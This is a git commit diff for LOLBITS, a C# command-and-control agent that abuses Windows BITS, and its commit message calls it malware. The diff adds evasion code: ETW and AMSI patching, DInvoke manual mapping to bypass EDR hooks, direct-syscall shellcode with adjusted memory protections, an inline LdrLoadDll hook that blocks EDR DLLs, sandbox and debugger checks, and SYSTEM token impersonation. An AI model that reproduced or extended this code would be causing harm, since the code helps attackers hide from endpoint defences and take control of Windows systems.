Version 2.0.0 (#6)

* Setup script and other small changes

* Changes to make the setup.ps1 script work properly

* Update README.md

* Update README.md

* Update README.md

* Some code improvements

* Update README.md

* C&C features removed; ETW patch and DInvoke added.

In the C&C Python console the options execute, downexec and copy have been removed.
In the C# agent, ETW is now patched before setting up the reverse connection and the DInvoke technique (check out SharpSploit!) is being used to replace some PInvoke calls.
DInvoke removes IAT Win32 API entries and also avoids EDR API hooking by  manually loading and mapping the required modules.

* Some minor changes

* PInvoke removed.

* DInvoke implemented and some other minor changes

* Processess listing improved

* Strings encoded using base64

* AMSI patching added.

* LdrLoadDll hooking added to deny undesired DLLs (like EDR's) in our process.

This will protect our malware from some EDR dll injections. Since the hooking is using DInvoke and manual module mapping its a bit slow, which may give enough time to the EDRs to load their Dlls in our process in some cases.

* Update Controller.cs

* LdrLoadDll hooking removed temporally. Great fixes on GetSystem and EnablePrivileges.

* Basic sandbox detection added.

* RWX memory protection removed from direct syscalls shellcode allocating. and others

* Update README.md

* Update README.md

* update images

* Update README.md
This commit is contained in:
Kurosh Dabbagh Escalante
2020-08-25 18:09:50 +02:00
committed by GitHub
parent 2ec3eb728d
commit e238146cf7
20 changed files with 805 additions and 372 deletions
+15 -3
View File
@@ -22,16 +22,17 @@ namespace LOLBITS.Controlling
private readonly string _tempPath;
private readonly TokenManager _tokenManager;
private readonly Jobs _jobsManager;
// private readonly HookManager _hookManager;
private readonly SysCallManager _sysCall;
public Controller(string id, string url,string password)
{
_id = id;
_p = password;
_jobsManager = new Jobs(url);
_sysCall = new SysCallManager();
_tokenManager = new TokenManager(_sysCall);
// _hookManager = new HookManager(_sysCall);
_jobsManager = new Jobs(url);
_tempPath = Environment.GetEnvironmentVariable("temp") ?? @"C:\Windows\Temp\";
}
@@ -40,9 +41,20 @@ namespace LOLBITS.Controlling
return _p;
}
public bool areWeSafe()
{
return Protection.Debugging.areWeSafe() &&
Protection.Filepath.areWeSafe() &&
Protection.Sleepy.areWeSafe();
}
/* public void hookLdr()
{
_hookManager.Install();
}*/
public void Start()
{
string startBits = Encoding.UTF8.GetString(Convert.FromBase64String("c2Mgc3RhcnQgQklUUw=="));
Utils.ExecuteCommand(startBits, _sysCall);
Thread.Sleep(500);
@@ -1,4 +1,4 @@
using System;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
@@ -134,13 +134,12 @@ namespace LOLBITS.Controlling
object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite };
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };
var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc);
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
var sysCallDelegate =
Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtAllocateVirtualMemory));
var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtAllocateVirtualMemory));
var arguments = new object[]
{
@@ -148,17 +147,24 @@ namespace LOLBITS.Controlling
DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit,
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite
};
uint oldProtect = 0;
object[] parameters = { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect };
IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
if ((int) returnValue != 0) return;
baseAddress = (IntPtr) arguments[1]; //required!
baseAddress = (IntPtr) arguments[1];
shellCode = sysCall.GetSysCallAsm("NtWriteVirtualMemory");
object[] virtualAlloc2 = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite };
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };
shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc2);
@@ -167,6 +173,10 @@ namespace LOLBITS.Controlling
arguments = new object[] {handle, baseAddress, sc, (UIntPtr) (sc.Length + 1), IntPtr.Zero};
parameters = new object[] { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect };
response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
returnValue = sysCallDelegate.DynamicInvoke(arguments);
baseAddress = (IntPtr) arguments[1];
@@ -189,7 +199,8 @@ namespace LOLBITS.Controlling
shellCode = sysCall.GetSysCallAsm("NtCreateThreadEx");
object[] virtualAlloc3 = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite };
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };
shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc3);
@@ -201,6 +212,10 @@ namespace LOLBITS.Controlling
IntPtr.Zero, 0x001FFFFF, IntPtr.Zero, handle, baseAddress, IntPtr.Zero, false, (ulong) 0, (ulong) 0,
(ulong) 0, u
};
parameters = new object[] { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect };
response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
returnValue = sysCallDelegate.DynamicInvoke(arguments);
}
catch
+30 -10
View File
@@ -1,14 +1,34 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace LOLBITS.DInvoke
{
class Native
public class Native
{
public enum PSS_CAPTURE_FLAGS
{
PSS_CAPTURE_NONE,
PSS_CAPTURE_VA_CLONE,
PSS_CAPTURE_RESERVED_00000002,
PSS_CAPTURE_HANDLES,
PSS_CAPTURE_HANDLE_NAME_INFORMATION,
PSS_CAPTURE_HANDLE_BASIC_INFORMATION,
PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION,
PSS_CAPTURE_HANDLE_TRACE,
PSS_CAPTURE_THREADS,
PSS_CAPTURE_THREAD_CONTEXT,
PSS_CAPTURE_THREAD_CONTEXT_EXTENDED,
PSS_CAPTURE_RESERVED_00000400,
PSS_CAPTURE_VA_SPACE,
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION,
PSS_CAPTURE_IPT_TRACE,
PSS_CREATE_BREAKAWAY_OPTIONAL,
PSS_CREATE_BREAKAWAY,
PSS_CREATE_FORCE_BREAKAWAY,
PSS_CREATE_USE_VM_ALLOCATIONS,
PSS_CREATE_MEASURE_PERFORMANCE,
PSS_CREATE_RELEASE_SECTION
}
[StructLayout(LayoutKind.Sequential)]
public struct OSVERSIONINFOEX
@@ -646,7 +666,7 @@ namespace LOLBITS.DInvoke
return (PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(PROCESS_BASIC_INFORMATION));
}
public static void RtlInitUnicodeString(ref Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
public static void RtlInitUnicodeString(ref UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
{
object[] funcargs =
{
@@ -775,10 +795,10 @@ namespace LOLBITS.DInvoke
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public Int32 Length;
public ulong Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public ulong Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
@@ -889,7 +909,7 @@ namespace LOLBITS.DInvoke
[StructLayout(LayoutKind.Sequential)]
public struct IO_STATUS_BLOCK
{
public IntPtr Status;
public uint Status;
public IntPtr Information;
}
+4 -4
View File
@@ -286,10 +286,10 @@ namespace LOLBITS.DInvoke
public int ValueCount;
}
public const UInt32 DLL_PROCESS_DETACH = 0;
public const UInt32 DLL_PROCESS_ATTACH = 1;
public const UInt32 DLL_THREAD_ATTACH = 2;
public const UInt32 DLL_THREAD_DETACH = 3;
public const uint DLL_PROCESS_DETACH = 0;
public const uint DLL_PROCESS_ATTACH = 1;
public const uint DLL_THREAD_ATTACH = 2;
public const uint DLL_THREAD_DETACH = 3;
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool DllMain(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved);
+19 -5
View File
@@ -46,6 +46,8 @@ namespace LOLBITS.DInvoke
public enum MemoryProtectionFlags
{
ExecuteReadWrite = 0x040,
ReadWrite = 0x004,
ExecuteRead = 0x020
}
[StructLayout(LayoutKind.Sequential)]
@@ -237,7 +239,7 @@ namespace LOLBITS.DInvoke
{
public int Length;
public IntPtr RootDirectory;
private IntPtr objectName;
public IntPtr objectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
@@ -398,7 +400,7 @@ namespace LOLBITS.DInvoke
public struct _TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public _LUID_AND_ATTRIBUTES[] Privileges;
public _LUID_AND_ATTRIBUTES Privileges;
}
[StructLayout(LayoutKind.Sequential)]
@@ -602,6 +604,18 @@ namespace LOLBITS.DInvoke
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe, ref Kernel32.SecurityAttributes lpPipeAttributes, int nSize);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate int PssCaptureSnapshot(IntPtr ProcessHandle, Native.PSS_CAPTURE_FLAGS CaptureFlags, int ThreadContextFlags, ref IntPtr SnapshotHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateFile([MarshalAs(UnmanagedType.LPTStr)] string filename,
[MarshalAs(UnmanagedType.U4)] Kernel32.FileAccessFlags access,
[MarshalAs(UnmanagedType.U4)] System.IO.FileShare share,
IntPtr securityAttributes, // optional SECURITY_ATTRIBUTES struct or IntPtr.Zero
[MarshalAs(UnmanagedType.U4)] System.IO.FileMode creationDisposition,
[MarshalAs(UnmanagedType.U4)] uint flagsAndAttributes,
IntPtr templateFile);
/////////////// advapi32.dll ///////////////
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
@@ -613,9 +627,9 @@ namespace LOLBITS.DInvoke
public delegate bool AdjustTokenPrivileges(IntPtr tokenHandle,
[MarshalAs(UnmanagedType.Bool)]bool disableAllPrivileges,
ref WinNT._TOKEN_PRIVILEGES newState,
int zero,
IntPtr null1,
IntPtr null2);
uint zero,
WinNT._TOKEN_PRIVILEGES null1,
out uint null2);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool DuplicateTokenEx(
+1 -2
View File
@@ -22,9 +22,8 @@ namespace LOLBITS
.Select(s => s[Random.Next(s.Length)]).ToArray());
}
private static bool CreateJob(int type, out BITS.GUID jobGuid, out BITS.IBackgroundCopyJob job)
private bool CreateJob(int type, out BITS.GUID jobGuid, out BITS.IBackgroundCopyJob job)
{
var mgr = new BITS.BackgroundCopyManager2_5();
var randJobName = RandomString(15);
switch (type)
+4
View File
@@ -86,6 +86,10 @@
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Controlling\Response.cs" />
<Compile Include="Protection\Debugging.cs" />
<Compile Include="Protection\Filepath.cs" />
<Compile Include="Protection\HookManager.cs" />
<Compile Include="Protection\Sleepy.cs" />
<Compile Include="SysCallManager.cs" />
<Compile Include="TokenManagement\StreamString.cs" />
<Compile Include="TokenManagement\TokenManager.cs" />
+1 -2
View File
@@ -1,5 +1,4 @@
using System;
using System.Linq;
using System.Linq;
namespace LOLBITS.Loading
{
+2
View File
@@ -11,6 +11,8 @@ namespace LOLBITS
static void Main(string[] args)
{
var c = new Controller(_firstId, _url, _password);
// c.hookLdr();
if (c.areWeSafe())
c.Start();
}
}
+11
View File
@@ -0,0 +1,11 @@

namespace LOLBITS.Protection
{
class Debugging
{
public static bool areWeSafe()
{
return System.Diagnostics.Debugger.IsAttached ? false : true;
}
}
}
+42
View File
@@ -0,0 +1,42 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace LOLBITS.Protection
{
class Filepath
{
public static bool areWeSafe()
{
List<string> EvidenceOfSandbox = new List<string>();
string[] FilePaths = {@"C:\windows\Sysnative\Drivers\Vmmouse.sys",
@"C:\windows\Sysnative\Drivers\vm3dgl.dll", @"C:\windows\Sysnative\Drivers\vmdum.dll",
@"C:\windows\Sysnative\Drivers\vm3dver.dll", @"C:\windows\Sysnative\Drivers\vmtray.dll",
@"C:\windows\Sysnative\Drivers\vmci.sys", @"C:\windows\Sysnative\Drivers\vmusbmouse.sys",
@"C:\windows\Sysnative\Drivers\vmx_svga.sys", @"C:\windows\Sysnative\Drivers\vmxnet.sys",
@"C:\windows\Sysnative\Drivers\VMToolsHook.dll", @"C:\windows\Sysnative\Drivers\vmhgfs.dll",
@"C:\windows\Sysnative\Drivers\vmmousever.dll", @"C:\windows\Sysnative\Drivers\vmGuestLib.dll",
@"C:\windows\Sysnative\Drivers\VmGuestLibJava.dll", @"C:\windows\Sysnative\Drivers\vmscsi.sys",
@"C:\windows\Sysnative\Drivers\VBoxMouse.sys", @"C:\windows\Sysnative\Drivers\VBoxGuest.sys",
@"C:\windows\Sysnative\Drivers\VBoxSF.sys", @"C:\windows\Sysnative\Drivers\VBoxVideo.sys",
@"C:\windows\Sysnative\vboxdisp.dll", @"C:\windows\Sysnative\vboxhook.dll",
@"C:\windows\Sysnative\vboxmrxnp.dll", @"C:\windows\Sysnative\vboxogl.dll",
@"C:\windows\Sysnative\vboxoglarrayspu.dll", @"C:\windows\Sysnative\vboxoglcrutil.dll",
@"C:\windows\Sysnative\vboxoglerrorspu.dll", @"C:\windows\Sysnative\vboxoglfeedbackspu.dll",
@"C:\windows\Sysnative\vboxoglpackspu.dll", @"C:\windows\Sysnative\vboxoglpassthroughspu.dll",
@"C:\windows\Sysnative\vboxservice.exe", @"C:\windows\Sysnative\vboxtray.exe",
@"C:\windows\Sysnative\VBoxControl.exe"};
foreach (string FilePath in FilePaths)
{
if (File.Exists(FilePath))
{
EvidenceOfSandbox.Add(FilePath);
}
}
return EvidenceOfSandbox.Count == 0 ? true : false;
}
}
}
+159
View File
@@ -0,0 +1,159 @@
using System;
using System.Runtime.CompilerServices;
using System.Text;
namespace LOLBITS.Protection
{
public class HookManager
{
private byte[] originalOpcodes;
private SysCallManager sysCall;
private IntPtr libraryAddress;
[MethodImpl(MethodImplOptions.NoInlining)]
public DInvoke.Native.NTSTATUS hookFunc(string pathToFile, ulong flags, string moduleName, IntPtr handle)
{
return DInvoke.Native.NTSTATUS.Success; //our hook function will just deny the loading of external libraries
}
public HookManager(SysCallManager sysCall)
{
this.sysCall = sysCall;
originalOpcodes = is64BitsProcessor() ? new byte[13] : new byte[6];
}
private bool is64BitsProcessor()
{
return IntPtr.Size == 8 ? true : false;
}
public unsafe bool Install()
{
uint oldProtect = 0, x = 0;
DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll");
object[] loadLibrary = { "ntdll.dll" };
libraryAddress = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LoadLibraryA",
typeof(DInvoke.Win32.DELEGATES.LoadLibrary), loadLibrary);
object[] procAddress = { libraryAddress, Encoding.UTF8.GetString(Convert.FromBase64String("TGRyTG9hZERsbA==")) };
var address = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "GetProcAddress",
typeof(DInvoke.Win32.DELEGATES.GetProcAddress), procAddress);
if (address == IntPtr.Zero)
return false;
object[] parameters = { (IntPtr)(-1), address, (UIntPtr)13, (uint)0x004, oldProtect };
IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
oldProtect = (uint)parameters[4];
var m = typeof(HookManager).GetMethod("hookFunc");
RuntimeHelpers.PrepareMethod(m.MethodHandle);
IntPtr replacementSite = m.MethodHandle.GetFunctionPointer();
byte* originalSitePointer = (byte*)address.ToPointer();
for (int k = 0; k < originalOpcodes.Length; k++)
{
originalOpcodes[k] = *(originalSitePointer + k);
}
if (is64BitsProcessor())
{
*originalSitePointer = 0x49;
*(originalSitePointer + 1) = 0xBB;
*((ulong*)(originalSitePointer + 2)) = (ulong)replacementSite.ToInt64(); //sets 8 bytes
//jmp r11
*(originalSitePointer + 10) = 0x41;
*(originalSitePointer + 11) = 0xFF;
*(originalSitePointer + 12) = 0xE3;
}
else
{
*originalSitePointer = 0x68;
*((uint*)(originalSitePointer + 1)) = (uint)replacementSite.ToInt32(); //sets 4 bytes
//ret
*(originalSitePointer + 5) = 0xC3;
}
parameters = new object[] { (IntPtr)(-1), address, (UIntPtr)13, oldProtect, x };
response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
return true;
}
public unsafe bool unhookSyscall(string dllName, string apiCall, byte[] content)
{
uint oldProtect = 0, x = 0;
DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll");
object[] loadLibrary = { dllName };
var addr = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LoadLibraryA",
typeof(DInvoke.Win32.DELEGATES.LoadLibrary), loadLibrary);
object[] procAddress = { addr, apiCall };
var address = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "GetProcAddress",
typeof(DInvoke.Win32.DELEGATES.GetProcAddress), procAddress);
if (address == IntPtr.Zero)
return false;
object[] parameters = { (IntPtr)(-1), address, (UIntPtr)13, (uint)0x004, oldProtect };
IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
oldProtect = (uint)parameters[4];
byte* originalSitePointer = (byte*)address.ToPointer();
for(int k = 0; k < content.Length; k++)
*(originalSitePointer + k) = content[k];
return true;
}
public unsafe bool Uninstall()
{
uint oldProtect = 0, x = 0;
DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll");
object[] procAddress = { libraryAddress, Encoding.UTF8.GetString(Convert.FromBase64String("TGRyTG9hZERsbA==")) };
var address = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "GetProcAddress",
typeof(DInvoke.Win32.DELEGATES.GetProcAddress), procAddress);
if (address == IntPtr.Zero)
return false;
object[] parameters = { (IntPtr)(-1), address, (UIntPtr)13, (uint)0x004, oldProtect };
IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
oldProtect = (uint)parameters[4];
byte* originalSitePointer = (byte*)address.ToPointer();
for (int k = 0; k < originalOpcodes.Length; k++)
*(originalSitePointer + k) = originalOpcodes[k];
parameters = new object[] { (IntPtr)(-1), address, (UIntPtr)13, oldProtect, x };
response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
return true;
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace LOLBITS.Protection
{
class Sleepy
{
public static uint GetNTPTime()
{
var NTPTransmit = new byte[48];
NTPTransmit[0] = 0x1B;
var addr = Dns.GetHostEntry("us.pool.ntp.org").AddressList;
var sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
sock.Connect(new IPEndPoint(addr[0], 123));
sock.ReceiveTimeout = 2000;
sock.Send(NTPTransmit);
sock.Receive(NTPTransmit);
sock.Close();
uint runTotal = 0; for (int i = 40; i <= 43; ++i) { runTotal = runTotal * 256 + (uint)NTPTransmit[i]; }
return runTotal - 2208988800;
}
public static bool areWeSafe()
{
try
{
var firstTime = GetNTPTime();
Thread.Sleep(int.Parse("5") * 1000);
var secondTime = GetNTPTime();
var difference = secondTime - firstTime;
return difference >= uint.Parse("5") ? true : false;
}
catch
{
return true;
}
}
}
}
+50
View File
@@ -1,5 +1,6 @@
using System;
using System.Collections.Generic;
using dinvoke = LOLBITS.DInvoke;
using dinvoke = LOLBITS.DInvoke;
@@ -102,6 +103,7 @@ namespace LOLBITS
val10.Add("1809", 0x00BC);
val10.Add("1903", 0x00BD);
val10.Add("1909", 0x00BD);
val10.Add("2004", 0x00c1);
_dicWinServer2008.Add("NtCreateThreadEx", val2008);
_dicWinServer2012.Add("NtCreateThreadEx", val2012);
@@ -164,6 +166,7 @@ namespace LOLBITS
val10.Add("1809", 0x0122);
val10.Add("1903", 0x0123);
val10.Add("1909", 0x0123);
val10.Add("2004", 0x0128);
_dicWinServer2008.Add("NtOpenProcessToken", val2008);
_dicWinServer2012.Add("NtOpenProcessToken", val2012);
@@ -194,6 +197,53 @@ namespace LOLBITS
_dicWin7.Add("NtAdjustPrivilegesToken", val7);
_dicWin8.Add("NtAdjustPrivilegesToken", val8);
_dicWin10.Add("NtAdjustPrivilegesToken", val10);
/////////////NtReadVirtualMemory
val2008 = new Dictionary<string, int>();
val2012 = new Dictionary<string, int>();
val7 = new Dictionary<string, int>();
val8 = new Dictionary<string, int>();
val10 = new Dictionary<string, int>();
val2008.Add("UNIQUE", 0x003c);
val2012.Add("SP0", 0x003d);
val2012.Add("R2", 0x003e);
val7.Add("UNIQUE", 0x003c);
val8.Add("8.0", 0x003d);
val8.Add("8.1", 0x003e);
val10.Add("UNIQUE", 0x003f);
_dicWinServer2008.Add("NtReadVirtualMemory", val2008);
_dicWinServer2012.Add("NtReadVirtualMemory", val2012);
_dicWin7.Add("NtReadVirtualMemory", val7);
_dicWin8.Add("NtReadVirtualMemory", val8);
_dicWin10.Add("NtReadVirtualMemory", val10);
/////////////NtCreateFile
val2008 = new Dictionary<string, int>();
val2012 = new Dictionary<string, int>();
val7 = new Dictionary<string, int>();
val8 = new Dictionary<string, int>();
val10 = new Dictionary<string, int>();
val2008.Add("UNIQUE", 0x0052);
val2012.Add("SP0", 0x0053);
val2012.Add("R2", 0x0054);
val7.Add("UNIQUE", 0x0052);
val8.Add("8.0", 0x0053);
val8.Add("8.1", 0x0054);
val10.Add("UNIQUE", 0x0055);
_dicWinServer2008.Add("NtCreateFile", val2008);
_dicWinServer2012.Add("NtCreateFile", val2012);
_dicWin7.Add("NtCreateFile", val7);
_dicWin8.Add("NtCreateFile", val8);
_dicWin10.Add("NtCreateFile", val10);
}
@@ -1,5 +1,4 @@
using System;
using System.IO;
using System.IO;
using System.Text;
namespace LOLBITS.TokenManagement
@@ -1,9 +1,8 @@
using System;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO.Pipes;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace LOLBITS.TokenManagement
@@ -109,10 +108,13 @@ namespace LOLBITS.TokenManagement
try
{
int pid = Utils.getSystemPID(sysCall);
List<int> pids = Utils.getSystemPID(sysCall);
foreach (var pid in pids)
{
if (Impersonate(pid, sysCall))
return true;
}
}
catch {}
_pipeName = Jobs.RandomString(7);
+85 -31
View File
@@ -1,7 +1,8 @@
using System;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Principal;
using System.Text;
using System.Threading;
@@ -71,14 +72,11 @@ namespace LOLBITS
uint tokenInformationLength,
out uint returnLength);
[DllImport("kernel32.dll", EntryPoint = "CloseHandle", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthority(IntPtr sid, uint subAuthorityIndex);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe, ref SecurityAttributes lpPipeAttributes, int nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthorityCount(IntPtr sid);
[DllImport("kernel32.dll", EntryPoint = "CloseHandle", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool CloseHandle(IntPtr handle);
@@ -86,7 +84,6 @@ namespace LOLBITS
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped);
/////////////////////////// Native Syscall ///////////////////////////
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
@@ -97,11 +94,24 @@ namespace LOLBITS
public delegate int NtOpenProcessToken(IntPtr processHandle, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS desiredAccess, out IntPtr tokenHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int NtOpenProcessToken(IntPtr processHandle, TokenAccessFlags desiredAccess, out IntPtr tokenHandle);
public delegate int NtReadVirtualMemory(IntPtr processHandle, IntPtr baseAddress, out IntPtr buffer, uint numberOfBytesToRead, out IntPtr numberOfBytesReaded);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int NtWriteVirtualMemory(IntPtr processHandle, IntPtr address, byte[] buffer, UIntPtr size, IntPtr bytesWrittenBuffer);
[SuppressUnmanagedCodeSecurity]
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate int NtCreateFile(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,
int desiredAccess,
ref DInvoke.Native.DELEGATES.OBJECT_ATTRIBUTES objectAttributes,
out DInvoke.Native.DELEGATES.IO_STATUS_BLOCK ioStatusBlock,
ref long allocationSize,
uint fileAttributes,
System.IO.FileShare shareAccess,
uint createDisposition,
uint createOptions,
IntPtr eaBuffer,
uint eaLength);
/////////////////////////// Privileges related functions ///////////////////////////
@@ -117,20 +127,21 @@ namespace LOLBITS
{
var myLuid = new DInvoke.Win32.WinNT._LUID();
object[] lookupPrivileges = { null, privilege, myLuid };
var priv = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LookupPrivilegeValue",
var priv = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LookupPrivilegeValueA",
typeof(DInvoke.Win32.DELEGATES.LookupPrivilegeValue), lookupPrivileges);
if (!priv) continue;
DInvoke.Win32.WinNT._TOKEN_PRIVILEGES myTokenPrivileges;
DInvoke.Win32.WinNT._LUID_AND_ATTRIBUTES luidAndAttributes = new DInvoke.Win32.WinNT._LUID_AND_ATTRIBUTES();
luidAndAttributes.Luid = (DInvoke.Win32.WinNT._LUID)lookupPrivileges[2];
luidAndAttributes.Attributes = SE_PRIVILEGE_ENABLED;
DInvoke.Win32.WinNT._TOKEN_PRIVILEGES newState;
newState.PrivilegeCount = 1;
newState.Privileges = luidAndAttributes;
DInvoke.Win32.WinNT._TOKEN_PRIVILEGES previousState = new DInvoke.Win32.WinNT._TOKEN_PRIVILEGES();
uint returnLength = 0;
myTokenPrivileges.PrivilegeCount = 1;
myTokenPrivileges.Privileges = new DInvoke.Win32.WinNT._LUID_AND_ATTRIBUTES[1];
